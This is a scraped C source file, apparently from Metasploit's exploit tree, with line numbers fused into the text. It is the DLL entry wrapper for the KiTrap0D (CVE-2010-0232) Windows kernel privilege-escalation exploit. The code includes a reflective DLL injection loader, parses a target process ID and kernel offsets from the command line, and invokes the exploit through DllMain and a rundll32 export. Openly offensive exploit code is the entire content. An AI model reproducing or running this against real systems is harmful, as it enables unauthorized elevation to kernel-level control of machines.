Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2010-0232/kitrap0d_payload/main.c
Views: 11784
//1// Note: To use the produced x86 dll on NT4 we use a post build event "editbin.exe /OSVERSION:4.0 /SUBSYSTEM:WINDOWS,4.0 elevator.dll"2// in order to change the MajorOperatingSystemVersion and MajorSubsystemVersion to 4 instead of 5 as Visual C++ 20083// can't build PE images for NT4 (only 2000 and up). The modified dll will then work on NT4 and up. This does4// not apply to the produced x64 dll.5//67#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR8#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN9#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"1011#include <stdlib.h>12#include "kitrap0d.h"13#include "../common/common.h"1415/*!16* @brief Grab a \c DWORD value out of the command line.17* @example elevator_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x4141414118* @param cpCommandLine Command line string19* @param cpCommand The command to look for to get the associated \c int from.20* @returns The \c int value associated with the \c cpCommand.21*/22DWORD elevator_command_dword(char * cpCommandLine, char * cpCommand)23{24char * cpString = NULL;25DWORD dwResult = 0;2627do28{29if (!cpCommandLine || !cpCommand) {30break;31}3233cpString = strstr(cpCommandLine, cpCommand);34if (!cpString) {35break;36}3738cpString += strlen(cpCommand);3940dwResult = strtoul(cpString, NULL, 0);4142} while (0);4344return dwResult;45}4647/*!48* @brief Grab an \c int value out of the command line.49* @example elevator_command_dword( "/FOO:12345 /BAR:54321", "/FOO:" ) == 1234550* @param cpCommandLine Command line string51* @param cpCommand The command to look for to get the associated \c int from.52* @returns The \c int value associated with the \c cpCommand.53*/54int elevator_command_int(char * cpCommandLine, char * cpCommand)55{56char * cpString = NULL;57int iResult = 0;5859do60{61if (!cpCommandLine || !cpCommand) {62break;63}6465cpString = strstr(cpCommandLine, cpCommand);66if (!cpString) {67break;68}6970cpString += strlen(cpCommand);7172iResult = atoi(cpString);7374} while (0);7576return iResult;77}7879/*!80* @brief The real entrypoint for this app.81* @param cpCommandLine Pointer to the command line.82*/83VOID elevator_main(char * cpCommandLine)84{85DWORD dwResult = ERROR_SUCCESS;8687do88{89dprintf("[KITRAP0D] elevator_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine);9091if (!cpCommandLine) {92break;93}9495if (strlen(cpCommandLine) == 0) {96break;97}9899dprintf("[KITRAP0D] elevator_main. lpCmdLine=%s", cpCommandLine);100101DWORD dwProcessId = 0;102DWORD dwKernelBase = 0;103DWORD dwOffset = 0;104105dwProcessId = elevator_command_dword(cpCommandLine, "/VDM_TARGET_PID:");106dwKernelBase = elevator_command_dword(cpCommandLine, "/VDM_TARGET_KRN:");107dwOffset = elevator_command_dword(cpCommandLine, "/VDM_TARGET_OFF:");108109if (!dwProcessId || !dwKernelBase) {110break;111}112113dprintf("[KITRAP0D] Invoking exploit");114elevator_kitrap0d(dwProcessId, dwKernelBase, dwOffset);115116// ...we should never return here...117dprintf("[KITRAP0D] This shouldn't happen");118} while (0);119}120121/*!122* @brief rundll32.exe entry point.123* @todo Remove this?124*/125VOID DLLEXPORT CALLBACK a(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int nCmdShow)126{127elevator_main(lpszCmdLine);128129ExitProcess(ERROR_SUCCESS);130}131132/*!133* @brief DLL entry point.134* @remark If we have been injected via RDI, lpReserved will be our command line.135*/136BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)137{138BOOL bReturnValue = TRUE;139140switch (dwReason)141{142case DLL_PROCESS_ATTACH:143hAppInstance = hInstance;144if (lpReserved != NULL) {145elevator_main((char *)lpReserved);146}147break;148case DLL_PROCESS_DETACH:149case DLL_THREAD_ATTACH:150case DLL_THREAD_DETACH:151break;152}153154return bReturnValue;155}156157158